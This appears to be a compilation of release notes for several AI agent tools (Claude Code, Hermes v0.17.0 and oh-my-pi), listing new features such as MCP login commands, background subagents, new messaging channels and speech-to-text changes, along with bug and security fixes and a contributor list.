• Added claude mcp login <name> and claude mcp logout <name> to authenticate MCP servers from the CLI without opening the interactive /mcp menu, with --no-browser stdin redirect support for completing over SSH
• Added status filtering (press f) to the /workflows agent detail view
• Added a "Skills" section to the /plugin Installed tab
• Added teammateMode: "iterm2" setting with a warning when auto mode cannot find the it2 CLI
• Added "Claude Platform on AWS - refresh credentials" option to /login when awsAuthRefresh is configured
• ! bash commands now trigger Claude to respond to the output automatically; set "respondToBashCommands": false in settings.json to keep the previous context-only behavior
• Fixed streaming requests failing with "Content block not found" or JSON parse errors after the machine wakes from sleep
• Fixed subagent transcript scroll position bleeding into the main transcript on exit
• Fixed background task previews flashing raw tool names before the agent's plan loaded
• Fixed Chrome tab-group isolation not applying when the in-product permissions gate is off for concurrent CLI sessions
• Fixed background session recaps being duplicated; the agent's own end-of-turn summary now shows as the recap line
• Fixed opening a background session from claude agents leaving the previous screen painted behind it
• Fixed Agent(type) deny rules and Agent(x,y) allowed-types restrictions not being enforced for named subagent spawns
• Fixed Esc and Ctrl+C not responding while background agents are still running after the main turn ends
• Fixed misaligned option numbers in permission prompts when the option text overflows
• Fixed pressing x on a finished subagent in the agent panel not dismissing it
• Fixed a misleading "MCP server disconnected" notice for intentionally retired tools when resuming older sessions
• Fixed /plugin Installed showing a "more above" indicator when already scrolled to the top
• Fixed ~~strikethrough~~ showing literal tildes in assistant messages instead of rendering as strikethrough
• Fixed --tools allowing feature-gated tools to slip through before flags loaded on a cold first launch
• Fixed background job status in claude agents showing a stale "needs input" message after replying
• Fixed a dark-theme flash when opening a background session from claude agents on a light terminal
• Fixed mouse-selected text staying highlighted after deleting it in claude agents
• Fixed session cost not showing for usage-based Enterprise and Team subscribers
• Fixed agent teams: teammates spawned via tmux/pane backends now inherit the leader's --effort level
• Fixed Workflow agent({schema}) subagents looping forever on repeated schema validation failures instead of aborting after 5 attempts
• Improved claude mcp get and claude mcp remove to suggest the closest configured server name on a typo and truncate long server lists
• Improved memory: the agent is now reminded to compact its MEMORY.md index when nearing the size limit
• Improved skill frontmatter: display-name, default-enabled, fallback, and metadata.* keys now accept kebab-case, snake_case, and camelCase
• Improved malformed SKILL.md YAML frontmatter handling: loads the skill body with empty metadata instead of failing silently
• Changed CLAUDE_CODE_MAX_RETRIES to cap at 15; for unattended sessions, use CLAUDE_CODE_RETRY_WATCHDOG instead
• Changed background subagents to surface permission prompts in the main session instead of auto-denying; the dialog shows which agent is asking, and Esc denies just that tool
• Changed /review <pr> to use the same review engine as /code-review medium

Release Date: June 19, 2026
Since v0.16.0: ~1,475 commits · ~800 merged PRs · 1,693 files changed · 235,390 insertions · 50,730 deletions · 300+ issues closed · 245 community contributors

The Reach Release. v0.16.0 put Hermes on your desktop. v0.17.0 is about how far that reach extends — across new places to talk to it, deeper into the tools you already use, and out to the people running Hermes for a team. Hermes reached two new channels (iMessage via Photon, and the Raft agent network), the desktop app gained substantial new capability, subagents can now run in the background, image generation learned to edit, and Cursor's Composer model is reachable through an xAI Grok subscription. The dashboard got a full profile builder and secure login, the Skills Hub browser was rehauled, the memory tool got a major upgrade, and the curator stopped spending aux-model budget on every routine run. 300+ issues closed ride along, plus a security round.

✨ Highlights

• Hermes reaches iMessage — Photon Spectrum, no Mac relay required — There's now an iMessage platform plugin built on Photon's managed line pool. Run hermes photon login, authenticate with a device code, and Hermes can send and receive iMessage — no Mac sitting in a closet running a relay, no BlueBubbles bridge to babysit. It's positioned as the successor to BlueBubbles: free to start, nothing to self-host. If your friends and family live in the blue bubbles, Hermes lives there now too. (#32348, #42582, #44713 — @teknium1)

• Raft — Hermes joins the Raft agent network as a gateway channel — A new bundled Raft platform adapter lets Hermes connect to Raft as an external agent through a wake-channel bridge. Set RAFT_PROFILE, run the bridge, and Raft can wake Hermes to handle messages — with a privacy-by-contract design where wake payloads carry only metadata (event IDs, timestamps), never message bodies. Another surface where Hermes can show up and do work. (#48210 — @xxchan, @teknium1)

• A substantially more capable desktop app — v0.16.0 shipped the desktop app; v0.17.0 deepened it across dozens of PRs. Rebindable keyboard shortcuts, native OS notifications with per-type toggles, live subagent watch-windows that stream a delegated agent's activity into its own pane, a composer model selector with per-model presets, automatic RTL/bidi text direction, a resizable VS Code-themed terminal pane, per-thread composer drafts, and the ability to install any VS Code Marketplace theme directly into the app. The desktop is now a serious daily driver, not a preview. (#45866, #40660, #47060, #46959, #43292, #44596 — @OutThisLife, @teknium1)

• Background / async subagents — delegate work and keep going — delegate_task(background=true) now dispatches a subagent that runs in the background and returns a handle immediately. You and the model keep working while it churns, and the full result re-enters the conversation as a new turn the moment it finishes. Kick off a long research dive or a multi-step build, then carry on with something else instead of sitting blocked waiting on it. (#40946, #46968 — @teknium1)

• Edit images, not just generate them — image-to-image in image_generate — image_generate can now edit and transform a source image, not only create one from scratch. Pass an existing image and a prompt and it routes to the backend's edit endpoint (same tool, same pattern as video_generate), across every supported image provider. "Make this logo blue," "remove the background," "turn this sketch into a render" — all from the tool you already use. (#48705 — @teknium1)

• Automation Blueprints — schedule things without learning cron — Pick an automation by name and Hermes asks you for what it needs — no cron syntax, no slot=value typing. One blueprint definition renders natively on every surface: a form in the dashboard, a slash command in the CLI/TUI/messenger, a conversation with the agent, an entry in the docs catalog. "Daily news briefing at 8am" becomes a thing you set up by answering questions, not by memorizing 0 8 * * *. (#41309 — @teknium1)

• Cursor's Composer model, through your xAI Grok subscription — grok-composer-2.5-fast is now in the xAI OAuth model picker, with its context window reconciled to the full 200k. Composer is the fast coding model behind Cursor — and if you have an xAI Grok subscription, you can now point Hermes at it directly over OAuth, no separate API key. Your Grok plan, Hermes's agent loop, Composer's coding speed. (#47908, #6f89e17 — @teknium1)

• Full profile builder in the dashboard — Build a complete Hermes profile from the browser — pick its model, choose its skills, attach its MCP servers — without hand-editing config.yaml. The dashboard also unified multi-profile management into one machine-wide view with a global profile switcher, so you manage every profile from a single place. (#39084, #44007 — @teknium1)

• Skills Hub browser rehaul — The dashboard's Skills Hub got a ground-up rework: connected hubs, a Featured section, full skill previews before you install, and a security scan on each skill. Browsing and installing skills from the trusted taps (OpenAI, Anthropic, HuggingFace, NVIDIA) is now a real browsing experience, not a flat list. (#40384, #43398 — @teknium1)

• The memory tool got a major upgrade — atomic batch operations — The memory tool gained an operations array that applies a batch of add/replace/remove edits atomically against the final character budget. The model can free up space and add new entries in a single call — even when an add alone would overflow the budget — collapsing what used to be a fragile multi-turn dance into one reliable operation. Memory updates are now faster and far less likely to fail mid-edit. (#48507 — @teknium1)

• Secure dashboard login — The dashboard's authentication was hardened: every token-required endpoint now correctly returns 401 behind the OAuth gate, websocket auth uses the served dashboard token, and a warning fires when a public_url override is silently rejected. Exposing your dashboard to the network is safer by default. (#42578, #42578 — @benbarclay, @teknium1)

• Official WhatsApp Business Cloud API adapter — Alongside the existing Baileys bridge, Hermes now speaks the official WhatsApp Business Cloud API — Meta's first-party, hosted, no-bridge-process path. Point it at your Business API credentials and Hermes talks WhatsApp through the supported channel, with no QR-scanning bridge process to keep alive. (#44331, #43921 — @jquesnelle, @teknium1)

• Rich text for Telegram — Bot API 10.1 rich messages — Telegram replies now render as proper rich messages via Bot API 10.1: better formatting, cleaner long-message handling, native markup instead of flattened text. It's on by default with an opt-out, so your Telegram conversations look the way they should without any configuration. (#44829, #45584, #45953 — @teknium1)

• Curator cost optimization — no aux-model spend on routine runs — The skill curator now prunes stale skills by default but no longer runs its LLM-powered consolidation pass unless you opt in (curator.consolidate: true or hermes curator run --consolidate). The deterministic inactivity sweep keeps running for free; the opinionated, aux-model-spending "build umbrella skills" fork is now off by default. Routine background curation costs you zero tokens. (#47840 — @teknium1)

🖥️ Hermes Desktop App

New surfaces & UX

• Rebindable keyboard shortcuts panel; native OS notifications with per-type toggles; curated turn-completion cue + dismissable error banners (#40660, #45866, #42480, #47985 — @OutThisLife, @teknium1)
• Live subagent watch-windows — stream a delegated agent's activity into its own pane; composer status stack + editable prompts; open any chat in its own window; new-session-in-compact-window hotkey (#47060, #44630, #43219, #46951 — @OutThisLife, @teknium1)
• Composer model selector + per-model presets + external-provider disconnect; surface every provider/model from hermes model in the GUI; unify provider list to one source; warn when a main-model switch leaves auxiliary tasks pinned elsewhere (#46959, #40563, #49080, #40286 — @teknium1, @OutThisLife)
• Install any VS Code Marketplace theme; assignable themes per profile; window translucency slider; unified overlay design system + BrandMark + onboarding redesign (#43292, #42286, #45086, #40708 — @teknium1, @OutThisLife)
• Resizable VS Code-themed terminal pane + palette polish; auto-detect RTL/bidi text direction in chat; Mac-style session switcher (^Tab / ^1-9); worktree-aware sidebar grouping; hover-reveal collapsed sidebars; messaging source folders in sidebar (#42521, #44596, #43111, #45273, #41670, #41751 — @OutThisLife)
• Arrow-key history + queue editing in composer; expand full command inline from the approval bar; follow-streaming-at-bottom + jump-to-bottom button; first-class cron jobs in the sidebar + dashboard scheduler (#40234, #44864, #45263, #40684 — @OutThisLife, @teknium1)
• Desktop pets — pop-out overlay + notifications (#47938 — @teknium1)
• Full tool-backend config (pickers + per-backend settings) in Settings; run tool-backend post-setup installs from the GUI; uninstall the Chat GUI without removing the agent; Shift+click status-bar zap to toggle YOLO globally; /browser connect on a local gateway (#41232, #40559, #40355, #41666, #47245 — @teknium1, @OutThisLife)
• Japanese + Traditional Chinese language switching (#40114)
• "Restart gateway" action (renamed from "Restart messaging") surfaced in the statusbar + on messaging save/toggle toasts; rendered logs are selectable/copyable (#49094 — @OutThisLife)

Remote-gateway & multi-profile

• Remote media relay — attach images/PDFs and display agent-written images over the network for the first time; remote-gateway file attachments via file.attach (#41336, #42634 — @teknium1)
• Client + backend version buttons + remote-backend update flow; browse remote backend files; route global-remote profile REST calls; recover chat after sleep/wake by revalidating a stale remote backend (#42181, #44326, #47011, #41350 — @OutThisLife, @teknium1)
• Multi-profile fallout cleanup — WS auth + cross-profile session reads; release profile backends before delete; scope session list/model switch/timer per session (#44529, #42613, #41103, #41120, #41182 — @OutThisLife, @teknium1)
• Stream subagent activity into watch windows; keep streaming painting in unfocused secondary chat windows; recover stranded session windows (#47060, #47919, #47655 — @OutThisLife)

📊 Web Dashboard

• Full-featured profile builder (model + skills + MCPs); unify multi-profile management — one machine dashboard + global profile switcher; profile-scoped skills & toolsets; session switcher panel on the Chat tab (#39084, #44007, #43808, #49077 — @teknium1)
• Skills hub browser rehaul — connected hubs, featured, preview + security scan; SKILL.md editor on Skills page + attach-skill selector in cron modals; full per-MCP catalog detail; full tool-backend config in the GUI (#40384, #44231, #48520, #40418 — @teknium1)
• Enable webhooks from the Webhooks page; idempotent hermes dashboard register; auto-restart gateway after Telegram QR onboarding; file browser; change UI font from the theme picker; reasoning-effort picker in the chat sidebar (#44021, #42455, #43424, #43512, #41145, #49141 — @teknium1)

🏗️ Core Agent & Architecture

God-file refactor wave (run_agent.py / cli.py / gateway/run.py)

• cli.py main() 3297 → 954 lines — extracted 28 subcommand parsers into hermes_cli/subcommands/, then promoted 9 closure handlers; 32 slash-command handlers → CLICommandsMixin; 18 model-flow wizard functions → model_setup_flows; agent-construction cluster → CLIAgentSetupMixin (#41798, #41835, #41942, #42174, #42153 — @teknium1)
• gateway/run.py 19157 → 15870 lines — 42 slash-command handlers → GatewaySlashCommandsMixin; authorization cluster → GatewayAuthorizationMixin; kanban watcher loops → GatewayKanbanWatchersMixin (#41886, #42159, #41849 — @teknium1)
• run_agent.py turn loop — extracted prologue into TurnContext, post-loop tail into finalize_turn, consolidated inner-retry-loop recovery flags into TurnRetryState (#41778, #42169, #41828 — @teknium1)

Agent loop, prompt & tools

• memory batch operations — atomic add/replace/remove array against the final char budget, so a single call can free space and add entries (#48507 — @teknium1)
• search_files lossless densification — headroom evaluation report + the one densification improvement worth shipping (fewer tokens per result, same matches) (#47866 — @teknium1)
• Removed the agent-callable send_message tool; coding-context posture across CLI/TUI/desktop/ACP; read_file extracts .ipynb/.docx/.xlsx to text (#47856, #43316, #37082 — @teknium1)
• Context-file handling: configurable truncation limit + warnings; scale context-file cap to model window + point agent at the truncated file (#47251, #47846 — @teknium1)
• Compression: temporal anchoring in compaction summaries; raise compaction trigger to 85% for gpt-5.5 on Codex OAuth (#41102, #40957 — @teknium1)
• Adaptive middleware (consumed by NeMo-Relay observer telemetry); usable mid-turn steer — desktop affordance + trusted injection (#29724, #40240 — @teknium1)

Provider & model support

• New models: z-ai/glm-5.2 (verified 1M context, OpenRouter + Nous), anthropic/claude-fable-5, laguna-m.1 + nemotron-3-ultra, xAI Composer 2.5 in the OAuth picker; default xAI to grok-build-0.1 (#47391, #45695, #42979, #42629, #47908, #47371 — @teknium1)
• Model picker: Refresh-Models control to bust stale cache; persist Nous recommended-models to disk + fall back on Portal failure; seed catalog disk cache from checkout on update; MiniMax-M3 reports true 1M context (#48691, #42628, #42614, #43338 — @teknium1)
• Anthropic adaptive models: default to modern thinking contract; never send reasoning field; route reasoning_effort to verbosity; require confirmation for very expensive selections (#42991, #43012, #43436, #43391 — @teknium1)
• Auth: auto-detect OpenRouter credential from the pool; keep Codex OAuth pool accounts distinct on add/re-auth; resolve xAI OAuth across profiles + write rotated tokens back to root; honor model.default_headers for custom OpenAI-compatible providers (#42263, #42316, #46614, #41096 — @teknium1)
• Bedrock falls back to non-streaming InvokeModel when IAM denies the streaming variant; Ollama default max_tokens=65536; surface model refusals as content_filter (#44293, #41694, #46013 — @teknium1)

Sessions, state & multi-agent

• Optional max session cap; drop empty sessions on CLI exit and rotation; ACP session-provenance metadata for compression rotation (#42389, #43855, #41724 — @teknium1)
• Delegation: resolve custom-endpoint subagent pools by endpoint identity; remove the default subagent wall-clock timeout; stop subagent completion lines leaking into parent CLI display (#41730, #45149, #44223 — @teknium1)
• Kanban: config-gated auto-subscribe on kanban_create; machine-global singleton lock for the embedded dispatcher; pin assigned profile toolsets for workers; hold reclaim while worker still alive (#48635, #49068, #45590, #49064 — @teknium1)
• Memory: configurable Hindsight retain observation scopes; OpenViking setup UX; Honcho gateway-gated identity tree; Supermemory session-level ingest (#46611, #48262, #44431, #38756 — @teknium1, @alt-glitch)

📱 Messaging Platforms (Gateway)

New channels

• iMessage via Photon Spectrum — hermes photon login (device-code OAuth), gRPC-native channel (no webhook), markdown rendering, emoji reactions, outbound media via spectrum-ts (#32348, #42582, #44713, #42397 — @teknium1)
• WhatsApp Business Cloud API adapter (official, no bridge process) (#44331, #43921 — @jquesnelle, @teknium1)
• SimpleX — groups, native attachments, text batching, auto-accept; Raft bundled platform plugin with activity hooks (#42584, #48210 — @teknium1)

Gateway core & rendering

• Render terminal tool calls as native bash code blocks on markdown platforms; bare fenced code blocks in chat; optional message timestamps for LLM context; configurable tool_progress_grouping (#41215, #42576, #47253, #47228 — @teknium1)
• Telegram: Bot API 10.1 rich messages (now always-on with opt-out); opt-in Online/Offline bot status indicator; stop cutting long streamed responses; MarkdownV2 on progress edits; gate oversized voice/audio before download (#44829, #45584, #49134, #43761, #44245 — @teknium1)
• Discord: propagate role_authorized so DISCORD_ALLOWED_ROLES works end-to-end; recover from runtime gateway task exits; cancel _bot_task on connect failure; stop typing after replies (#43327, #44383, #44432, #44836 — @teknium1)
• Slack: scope top-level channel messages when reply_in_thread=false; thread approval UX (block-size overflow + typed-prefix); make video attachments available to agents; register_slack_action_handler plugin API (#41703, #43444, #45512, #44664 — @teknium1)
• Replied-to media attachments included; document attachments classified as DOCUMENT on Signal/Email/SimpleX/Teams; WhatsApp restarts stale bridge processes; Matrix room-context isolation; QQbot CPU-spin fix; Weixin rate-limit circuit breaker (#46107, #44695, #44205, #18505, #40574, #41718 — @teknium1, @banditburai)

🖥️ CLI, TUI & Setup

• /version slash command; /billing interactive terminal billing (TUI + CLI); show time since last final agent response on the status bar; persist resolved approval/clarify prompts in scrollback (#40214, #45449, #44265, #44702 — @teknium1)
• Lock hermes worktrees so concurrent processes can't clobber them; display custom profile alias names in list/show; clone profiles from any source (#48699, #40371, #45630 — @teknium1)
• Opt-in structured profile-build path on first contact; configurable per-platform system-prompt hints; configurable background memory/skill notifications (#41114, #48630, #47226 — @teknium1)
• TUI: interactive Plugins Hub enable/disable overlay; session name in the terminal titlebar; paint approval/clarify/sudo/secret modals directly (not via throttle); wrap long approval commands instead of truncating (#42965, #43188, #41155, #44691 — @teknium1)
• TTS: Gemini persona prompts + audio tags; xAI auto speech tags + speed/streaming knobs; Piper speaker_id; OGG for Telegram auto-TTS (#43442, #49061, #49062, #49060, #41644 — @teknium1)

🔧 Tool System, Skills & MCP

• image-to-image / editing in image_generate across all backends; shrink images to provider dimension limit (#48705, #45979 — @teknium1)
• MCP: official Unreal Engine 5.8 MCP server in the catalog; elicitation handler so MCP servers can prompt for mid-tool-call confirmation (payment/OAuth) on whichever surface owns the session — CLI/TUI/Telegram/Slack; expose late-connecting MCP tools to the agent between turns (cache-safe); keepalive ping for short-TTL HTTP sessions; block exfil-shaped / suspicious stdio configs before probe; capability-gate tools/list so prompt-only servers connect; preserve stdio argv passthrough + Windows env vars (#48397, #49203, #49208, #49221, #46083, #44550, #44324 — @teknium1, @lgalabru)
• Skills: simplify-code skill (parallel 3-agent code review & cleanup) + risk-tiered application with Chesterton's Fence; find & diff user-modified bundled skills; optional payments skills (Stripe Link, MPP, Projects); CLI-based shop skill; live per-source browse progress (#41691, #49070, #48286, #31343, #47309, #43398 — @teknium1, @colinwren-stripe)
• Curator: make skill consolidation opt-in (prune stays default-on) (#47840 — @teknium1)
• Plugins: install from a subdirectory within a repo; accept browser-pasted GitHub URLs in hermes plugins install; session:compress lifecycle event + thread_id/chat_type in agent:start/end context (#42963, #33539, #47252, #41672 — @teknium1)
• Memory/skill write approval gate (default off) — boolean write_approval replaces the tri-state write_mode (#38199, #43354 — @teknium1)

🌐 Fleet, Relay & Automation

• Managed scope — administrator-pinned, user-immutable config & secrets from a root-owned /etc/hermes (#49098 — @teknium1)
• Multiplex all profiles over one gateway process (opt-in) (#48273 — @benbarclay)
• Pluggable CronScheduler + Chronos managed-cron provider (scale-to-zero) (#48275 — @benbarclay)
• Automation Blueprints — parameterized automation templates across every surface (#41309 — @teknium1)
• Gateway-Gateway relay (phases 0-3): relay adapter + capability descriptor, connector⇄gateway channel auth + signed-HTTP inbound + enroll CLI, WS-only inbound, managed-boot self-provision client (#48078, #48147, #48294, #48242 — @teknium1)

🐳 Docker, Nix & Installer

• s6: detect supervisor directly for gateway restart; register profile gateways without auto-starting; persist desired state; clear stale log locks (#46290, #46266, #46292, #46289 — @teknium1)
• Docker: optimize image size (.dockerignore, drop dev deps, split layers); pre-install matrix deps; supervised gateway uses --replace; harden hosted install tree against self-modification (#38749, #42413, #47555, #47490 — @teknium1)
• Nix: cold npm build fixes + auto-fix-lockfiles workflow; hashless npm deps via importNpmLock; refresh npmDepsHash after Electron 40.10.2 pin (#41867, #48883, #48457 — @teknium1)
• Installer: clear unmerged git index before autostash; scope install-method stamp to the code tree (#45515, #48188 — @teknium1)

🔒 Security & Reliability

• Fail closed on own-policy gateway adapters; fail closed for approval-button auth on Slack/Feishu/Discord when no allowlist is set (#45634, #41226 — @teknium1)
• Redact secrets in request debug dumps; withhold host metadata from public status; block exfil-shaped / suspicious MCP stdio configs before probe (#46637, #45642, #46083 — @teknium1)
• Close shell-escape denylist bypass + fail-closed on missing approval module; scrub operator environment before launching cua-driver MCP; sanitize env for cron job-script subprocesses; bound TodoStore content length/count; scan REST cron prompts for parity with the agent tool (#40591, #48423, #49207, #41648, #41335 — @teknium1, @kshitijk4poor)
• Bump urllib3 and PyJWT to clear CVEs; Langfuse redacts base64 data URIs instead of truncating into invalid base64 (#40179, #43322 — @teknium1)

🪟 Windows

• Dashboard /chat tab via ConPTY (win_pty_bridge) + tests; resolve PowerShell host instead of bare powershell for uv install; resolve powershell.exe by absolute path so Desktop install doesn't stall (#42251, #48341, #40927 — @teknium1)
• Repair stale winget registration + refresh/merge PATH; kill hermes before recreating venv to release _bcrypt.pyd lock; read HERMES_HOME from the registry when env is stale; quarantine running hermes.exe during update repair (#44084, #45120, #46772, #40409 — @teknium1)
• JOB-breakaway watcher reliability + status --deep probes; handle Windows PTY stdin + detached WS frames; decode subprocess output as UTF-8; confirm-modal on native Windows (#40909, #41953, #44328, #42419 — @teknium1)

🐛 Notable Bug Fixes

• Percent-encode non-ascii URL components; sanitize : in FTS5 queries so colon searches don't silently return empty (#41430, #40653 — @teknium1)
• Preserve multimodal user content through crash-resilience persist; flatten multimodal content before provider sync; strip MEDIA directives from compressor input (#47907, #44738, #44708 — @teknium1)
• Re-enter retry loop on genuine Nous 429 so the fallback guard runs; scope Nous tags to Nous auxiliary calls; suppress "Credit access paused" notice on free models (#45136, #45801, #43669 — @teknium1)
• Cron: don't strict-scan script-injected output in no-skills jobs; resolve per-job provider "custom" to providers.custom instead of codex; repair cron ownership on container restart (#43223, #43505, #41976 — @teknium1)
• (300+ issues closed this window; full per-area fix list is exhaustive — these are the highest-impact.)

↩️ Reverted in this window (not shipping)

• html-artifact skill + sketch/architecture-diagram/concept-diagrams fold (#48899) — reverted (#49053); absent on main.
• Cron per-job profile support reverted (#43956); a nix patchPhase workaround reverted (#42151).

👥 Contributors

A huge thank-you to everyone who contributed to this release — 245 contributors across commits, co-author trailers, and salvaged PRs.

Core

@teknium1

Top community contributors (by merged PRs)

• @OutThisLife — 92 PRs (desktop app maturity (shortcuts, notifications, watch-windows, themes))
• @kshitijk4poor — 60 PRs (onboarding, model picker, cron env sanitization)
• @xxxigm — 27 PRs (desktop & gateway fixes)
• @benbarclay — 23 PRs (gateway multiplex, Chronos cron, dashboard auth)
• @helix4u — 21 PRs (gateway & installer reliability)
• @austinpickett — 19 PRs (dashboard & desktop UX)
• @alt-glitch — 14 PRs (usage-aware credits, Supermemory)
• @ethernet8023 — 14 PRs (desktop build pipeline & Linux/Windows)
• @liuhao1024 — 5 PRs (session lifecycle fixes)

All contributors (alphabetical)

@0z1-ghb, @0xdany, @0xneobyte, @0xyg3n, @1960697431, @895252509, @achaljhawar, @Adolanium, @AhmetArif0, @AIalliAI,
@aimable100, @AJ, @ak2k, @alarcritty, @AlchemistChaos, @aldoeliacim, @alelpoan, @AlexanderBFoley,
@alfred-smith-0, @ali-nld, @alt-glitch, @am423, @AMEOBIUS, @AMIK-coorporations, @annguyenNous, @ArcanePivot,
@ARegalado1, @asdlem, @ashishpatel26, @austinpickett, @banditburai, @barronlroth, @Bartok9, @basilalshukaili,
@bbednarski9, @bcsmith528, @benbarclay, @benegessarit, @benfrank241, @bionicbutterfly13, @BlackishGreen33,
@blut-agent, @bmoore210, @bpasquini, @briandevans, @BROCCOLO1D, @capt-marbles, @ccook1963, @Cdddo, @channkim,
@ChasLui, @chimpera, @chromalinx, @CiarasClaws, @claytonchew, @cnfi, @colinwren-stripe, @cresslank,
@cyb0rgk1tty, @dangelo352, @davidgut1982, @deaneeth, @definitelynotguru, @Diyoncrz18, @draix, @dschnurbusch,
@Dusk1e, @dusterbloom, @ehz0ah, @emozilla, @enesilhaydin, @erosika, @ethernet8023, @Evisolpxe, @firefly,
@flooryyyy, @flyinhigh, @foras910521-lab, @Frowtek, @ft-ioxcs, @fyzanshaik, @Ganesh0690, @gauravsaxena1997,
@giladbau, @glesperance, @GodsBoy, @goku94123, @H-Ali13381, @HaozheZhang6, @haran2001, @harshitAgr, @hbentel,
@helix4u, @HeLLGURD, @Hermes, @huangxun375-stack, @iamlukethedev, @ianculling, @IAvecilla, @iborazzi,
@infinitycrew39, @islam666, @ITheEqualizer, @itsflownium, @Jaaneek, @james47kjv, @jeeves-assistant,
@jeffrobodie-glitch, @JezzaHehn, @jiangkoumo, @jimjsong, @JimLiu, @JimStenstrom, @jmsunseri, @JoaoMarcos44,
@joel611, @JoelJJohnson, @joerj123, @johnjacobkenny, @jooray, @joshuadow, @jplew, @justinbao19, @Justlrnal4,
@Kailigithub, @kamonspecial, @kdunn926, @Kenmege, @Kewe63, @kmccammon, @konsisumer, @kristianvast,
@kshitijk4poor, @kyssta-exe, @l37525778-coder, @LaPhilosophie, @leo4226, @LeonSGP43, @liuhao1024, @Llugaes,
@loongfay, @LoongZhao, @lsaether, @m4dni5, @manishbyatroy, @MaxFreedomPollard, @maxmilian, @maxtrigify,
@mnajafian-nv, @mohamedorigami-jpg, @mollusk, @MrDiamondBallz, @mssteuer, @mvanhorn, @naqerl, @Nea74,
@necoweb3, @nepenth, @nicoloboschi, @NormallyGaussian, @OmarB97, @omegazheng, @OndrejDrapalik, @OutThisLife,
@oxngon, @OYLFLMH, @paperclip, @paulb26, @pengyuyanITYU, @PhilipAD, @pinguarmy, @plcunha, @ProgramCaiCai,
@psionic73, @qin-ctx, @qingshan89, @Que0x, @qWaitCrypto, @r266-tech, @randomsnowflake, @rbrtbn, @rewbs,
@rio-jeong, @Rivuza, @rob-maron, @rodboev, @ruangraung, @RyTsYdUp, @Sahil-SS9, @salesondemandio, @sanidhyasin,
@sarvesh1327, @sdyckjq-lab, @shannonsands, @SHL0MS, @simpolism, @sitkarev, @skyc1e, @skylarbpayne, @SNooZyy2,
@Spaceman-Spiffy, @srojk34, @sweetcornna, @synapsesx, @Tamaz-sujashvili, @tangtaizong666, @temalo, @tfournet,
@thedavidweng, @TheGardenGallery, @tim404x, @tomekpanek, @Tranquil-Flow, @tt-a1i, @tuancookiez-hub,
@underthestars-zhy, @Veritas-7, @victor-kyriazakos, @wesleysimplicio, @WolframRavenwolf, @WompaJango, @x1erra,
@xiaoxinova, @xtymac, @xushibo, @XVVH, @xxchan, @xxxigm, @xy200303, @y0shua1ee, @yanxue06, @yatesjalex,
@YLChen-007, @yoniebans, @youjunxiaji, @yubingz, @zakame, @zapabob, @zccyman, @zimigit2020, @ziwon, @zwcf5200,
@zxcasongs.

Full Changelog: v2026.6.5...v2026.6.19

Added

• Exported renderDelimitedThinking from the @oh-my-pi/pi-ai/dialect barrel so consumers can reuse the dialect's <thinking> envelope unwrap-and-rewrap logic (the only ./dialect/rendering primitive re-exported; the rest stay dialect-internal).

Fixed

• Fixed OpenAI Responses/Codex tool schema normalization stripping provider-rejected regex lookaround patterns from MCP tool parameter schemas. (#2784)
• Fixed OpenAI Responses parallel tool-call routing so late keyed argument deltas for a closed call are dropped instead of being appended to another open call.

@oh-my-pi/pi-coding-agent

Added

• Added support for LaTeX color commands (\textcolor, \colorbox, and \fcolorbox) in user-visible terminal prose and final chat to colorize output

Changed

• Changed STT dependency setup to validate recorder and model assets per stt.modelName, so switching speech models re-runs dependency checks and downloads for the new model
• Changed STT startup with cached models to warm the speech model in the background and defer full model loading until transcription begins, reducing push-to-talk start latency
• Allowed user-visible terminal and final-chat responses to include LaTeX math delimiters/commands and Mermaid ```mermaid diagrams
• Changed the hold-Space push-to-talk gesture to recognize a held bar from the regularity of the OS key auto-repeat rather than a raw space count or speed alone, so it no longer spams the editor, no longer eats deliberate space taps, and no longer triggers when the bar is smashed. Recording starts only after two consecutive inter-space deltas are "mechanical" — both fast (within ~120 ms) and near-identical, the metronomic signature of auto-repeat; the few pre-burst spaces typed are then tracked back out. Smashing (fast but jittery) and deliberate spacing (steady but slow) both keep typing real spaces and never start recording.
• Updated markdown Mermaid rendering to color ASCII diagrams with the active theme and automatically choose a narrower layout that better fits the terminal width
• Made the watched-session transcript sent to the advisor (and shown by /advisor dump) clearer: each turn now opens with a ### Session update heading; watched-agent roles render as inline **agent**: / **user**: labels instead of level-2 headings that collided with the advisor's own turns; consecutive same-role messages collapse under one label (the watched agent emits one assistant message per tool call); and batched updates are joined by a blank line rather than a --- rule.
• Changed the compact transcript tool-intent prefix (history://, /advisor dump) from # to // so intent lines read as comments instead of rendering as Markdown H1 headings.
• Changed the advisor advice injected into the primary transcript from a Advisor (...): - [severity] note prose block to one <advisory severity="…" guidance="weigh, don't blindly obey">…</advisory> element per note, with XML-escaped bodies. (Relocated the shared escapeXmlText helper to @oh-my-pi/pi-utils.)
• Reverted /dump and /advisor dump raw to the pre-16.x full verbose dump: system prompt, model/thinking config, tool inventory with parameters, and the message transcript rendered with markdown role headings (## User, ## Assistant, ### Tool Call: <name> with the call's _i intent as a // comment under the heading and the remaining arguments as a fenced YAML block, ### Tool Result: <name>, plus ## Bash Execution/## File Mention/summary sections) instead of the model's native-dialect turn envelopes and <invoke>/<parameter> XML tool calls. Dropped the compact default and the [raw] flag on /dump; the compact → tool(...) ⇒ ok history format is no longer reachable from /dump. /advisor dump still defaults to compact, and /advisor dump raw now renders the same markdown dump (previously the model's native-dialect envelopes).

Fixed

• Fixed Whisper STT cache detection to require both encoder and decoder .onnx files, so partial model downloads now trigger a proper foreground download instead of being treated as fully cached
• Fixed same-process JsRuntime cleanup so disposing an older inline/direct runtime no longer deletes a newer runtime's JS helper globals; inactive cmux/direct runtimes now re-activate their globals before sequential use while overlapping cross-runtime runs fail explicitly.
• Fixed magic-keyword steering notices (ultrathink-notice, orchestrate-notice, workflow-notice) to be prepended before the related user message so they influence that same turn
• Fixed dequeuing or popping queued user messages to remove their preceding hidden magic-keyword notice companions, preventing orphaned queued notices
• Fixed queued user steers to auto-resume after interrupts even when the transcript tail is a preserved advisor card or other non-conversational custom message
• Fixed queued user follow-up messages to remain queued after an interrupt and only run on explicit resume, even when an IRC wake leaves a provider-valid tail
• Fixed stranded IRC asides to wake a response turn after interruption instead of remaining pending
• Fixed accepted IRC asides to be flushed into the transcript during disposal instead of being discarded
• Fixed interactive submissions made while the TUI had no active input waiter: they now start a real prompt directly, with steer fallback if a background turn races in, instead of queueing behind a non-resumable idle transcript and appearing to do nothing.
